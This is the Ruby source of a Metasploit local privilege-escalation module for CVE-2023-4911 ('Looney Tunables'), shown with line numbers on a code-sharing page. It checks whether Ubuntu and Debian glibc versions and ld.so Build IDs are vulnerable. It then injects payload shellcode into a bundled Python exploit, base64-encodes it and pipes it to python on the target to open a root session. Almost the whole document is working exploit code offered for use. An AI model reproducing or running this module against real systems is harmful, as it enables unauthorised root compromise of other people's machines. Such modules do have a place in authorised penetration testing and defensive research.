Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = ExcellentRanking
8

9
  # includes: is_root?
10
  include Msf::Post::Linux::Priv
11
  # includes: kernel_release
12
  include Msf::Post::Linux::Kernel
13
  # include: get_sysinfo
14
  include Msf::Post::Linux::System
15
  # includes writable?, upload_file, upload_and_chmodx, exploit_data, cd
16
  include Msf::Post::File
17
  # includes register_files_for_cleanup
18
  include Msf::Exploit::FileDropper
19
  prepend Msf::Exploit::Remote::AutoCheck
20

21
  BUILD_IDS = {
22
    '69c048078b6c51fa8744f3d7cff3b0d9369ffd53' => 561,
23
    '3602eac894717d56555552c84fc6b0e4d6a4af72' => 561,
24
    'a99db3715218b641780b04323e4ae5953d68a927' => 561,
25
    'a8daca28288575ffc8c7641d40901b0148958fb1' => 580,
26
    '61ef896a699bb1c2e4e231642b2e1688b2f1a61e' => 560,
27
    '9a9c6aeba5df4178de168e26fe30ddcdab47d374' => 580,
28
    'e7b1e0ff3d359623538f4ae0ac69b3e8db26b674' => 580,
29
    '956d98a11b839e3392fa1b367b1e3fdfc3e662f6' => 322
30
  }
31
  def initialize(info = {})
32
    super(
33
      update_info(
34
        info,
35
        'Name' => 'Glibc Tunables Privilege Escalation CVE-2023-4911 (aka Looney Tunables)',
36
        'Description' => %q{
37
          A buffer overflow exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES
38
          environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when
39
          launching binaries with SUID permission to execute code in the context of the root user.
40

41
          This module targets glibc packaged on Ubuntu and Debian. The specific glibc versions this module targets are:
42

43
          Ubuntu:
44
          2.35-0ubuntu3.4 > 2.35
45
          2.37-0ubuntu2.1 > 2.37
46
          2.38-1ubuntu6 > 2.38
47

48
          Debian:
49
          2.31-13-deb11u7 > 2.31
50
          2.36-9-deb12u3 > 2.36
51

52
          Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911
53
          however this module does not target them.
54
        },
55
        'Author' => [
56
          'Qualys Threat Research Unit', # discovery
57
          'blasty <[email protected]>', # PoC
58
          'jheysel-r7' # msf module
59
        ],
60
        'References' => [
61
          ['CVE', '2023-4911'],
62
          ['URL', 'https://haxx.in/files/gnu-acme.py'],
63
          ['URL', 'https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt'],
64
          ['URL', 'https://security-tracker.debian.org/tracker/CVE-2023-4911'],
65
          ['URL', 'https://ubuntu.com/security/CVE-2023-4911']
66
        ],
67
        'License' => MSF_LICENSE,
68
        'Platform' => [ 'linux', 'unix' ],
69
        'Arch' => [ ARCH_X86, ARCH_X64 ],
70
        'SessionTypes' => [ 'shell', 'meterpreter' ],
71
        'Targets' => [[ 'Auto', {} ]],
72
        'Privileged' => true,
73
        'DefaultTarget' => 0,
74
        'DefaultOptions' => {
75
          'PrependSetresgid' => true,
76
          'PrependSetresuid' => true,
77
          'WfsDelay' => 600
78
        },
79
        'DisclosureDate' => '2023-10-03',
80
        'Notes' => {
81
          'Stability' => [ CRASH_SAFE, ],
82
          'SideEffects' => [ ],
83
          'Reliability' => [ REPEATABLE_SESSION, ]
84
        }
85
      )
86
    )
87
    register_advanced_options([
88
      OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
89
    ])
90
  end
91

92
  def find_python
93
    %w[python python3].select(&method(:command_exists?)).first
94
  rescue StandardError => e
95
    fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}")
96
  end
97

98
  def check
99
    glibc_version = cmd_exec('ldd --version')&.scan(/ldd\s+\(\w+\s+GLIBC\s+(\S+)\)/)&.flatten&.first
100
    return CheckCode::Unknown('Could not get the version of glibc') unless glibc_version
101

102
    sysinfo = get_sysinfo
103
    case sysinfo[:distro]
104
    when 'ubuntu'
105
      # Ubuntu's version looks like: 2.35-0ubuntu3.4. The following massaging is necessary for Rex::Version compatibility
106
      test_version = glibc_version.gsub(/-\d+ubuntu/, '.')
107
      if Rex::Version.new(test_version).between?(Rex::Version.new('2.35'), Rex::Version.new('2.35.3.4')) ||
108
         Rex::Version.new(test_version).between?(Rex::Version.new('2.37'), Rex::Version.new('2.37.2.1')) ||
109
         Rex::Version.new(test_version).between?(Rex::Version.new('2.38'), Rex::Version.new('2.38.6'))
110
        return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable")
111
      end
112
    when 'debian'
113
      # Debian's version looks like: 2.36-9+deb12u1. The following massaging is necessary for Rex::Version compatibility
114
      test_version = glibc_version.gsub(/\+deb/, '.').gsub(/u/, '.').gsub('-', '.')
115
      if Rex::Version.new(test_version).between?(Rex::Version.new('2.31'), Rex::Version.new('2.31.13.11.7')) ||
116
         Rex::Version.new(test_version).between?(Rex::Version.new('2.36'), Rex::Version.new('2.36.9.12.3'))
117
        return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable")
118
      end
119
    else
120
      return CheckCode::Unknown('The module has not been tested against this Linux distribution')
121
    end
122
    CheckCode::Safe("The glibc version (#{glibc_version}) found on the target does not appear to be vulnerable")
123
  end
124

125
  def check_ld_so_build_id
126
    # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so
127
    if command_exists?('file')
128
      check_ld_so_build_id_file
129
    elsif command_exists?('readelf')
130
      check_ld_so_build_id_readelf
131
    elsif command_exists?('perf')
132
      check_ld_so_build_id_perf
133
    else
134
      print_warning('Unable to locate the commands to verify the BuildID for ld.so.')
135
    end
136
  end
137

138
  def check_ld_so_build_id_readelf
139
    file_cmd_output = ''
140

141
    # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
142
    # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
143
    sysinfo = get_sysinfo
144
    case sysinfo[:distro]
145
    when 'ubuntu'
146
      if command_exists?('ldconfig')
147
        file_cmd_output = cmd_exec('readelf -a $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*") | grep "Build ID"')
148
      end
149
    when 'debian'
150
      file_cmd_output = cmd_exec('readelf -a "$(readlink -f "$(command -v ld.so)")"| grep "Build ID"')
151
    else
152
      fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
153
    end
154

155
    if file_cmd_output =~ /Build ID: (\w+)$/
156
      build_id = Regexp.last_match(1)
157
      if BUILD_IDS.keys.include?(build_id)
158
        print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
159
      else
160
        fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
161
      end
162
    else
163
      print_warning('Unable to verify the BuildID for ld.so via `readelf`, the exploit has a chance of being incompatible with this target.')
164
    end
165
  end
166

167
  def check_ld_so_build_id_file
168
    file_cmd_output = ''
169

170
    # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
171
    # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
172
    sysinfo = get_sysinfo
173
    case sysinfo[:distro]
174
    when 'ubuntu'
175
      if command_exists?('ldconfig')
176
        file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')
177
      end
178
    when 'debian'
179
      file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"')
180
    else
181
      fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
182
    end
183

184
    if file_cmd_output =~ /BuildID\[.+\]=(\w+),/
185
      build_id = Regexp.last_match(1)
186
      if BUILD_IDS.keys.include?(build_id)
187
        print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
188
      else
189
        fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
190
      end
191
    else
192
      print_warning('Unable to verify the BuildID for ld.so via `file`, the exploit has a chance of being incompatible with this target.')
193
    end
194
  end
195

196
  def check_ld_so_build_id_perf
197
    perf_cmd_output = ''
198

199
    # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
200
    # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
201
    sysinfo = get_sysinfo
202
    case sysinfo[:distro]
203
    when 'ubuntu'
204
      if command_exists?('ldconfig')
205
        perf_cmd_output = cmd_exec('perf buildid-list -i $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')
206
      end
207
    when 'debian'
208
      perf_cmd_output = cmd_exec('perf buildid-list -i "$(readlink -f "$(command -v ld.so)")"')
209
    else
210
      fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
211
    end
212

213
    if perf_cmd_output =~ /([0-9a-f]+)/
214
      build_id = Regexp.last_match(1)
215
      if BUILD_IDS.keys.include?(build_id)
216
        print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
217
      else
218
        fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
219
      end
220
    else
221
      print_warning('Unable to verify the BuildID for ld.so via `perf`, the exploit has a chance of being incompatible with this target.')
222
    end
223
  end
224

225
  def exploit
226
    fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?
227

228
    python_binary = find_python
229
    fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary
230
    vprint_status("Using '#{python_binary}' to run the exploit")
231

232
    check_ld_so_build_id
233

234
    shell_code = payload.encoded.unpack('H*').first
235

236
    exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py')
237
    exploit_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code)
238
    exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':'))
239

240
    vprint_status('All good let\'s go.')
241
    # If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully
242
    output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}")
243
    if output.blank?
244
      print_good('The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.')
245
    else
246
      print_line(output)
247
    end
248
  end
249
end
250

251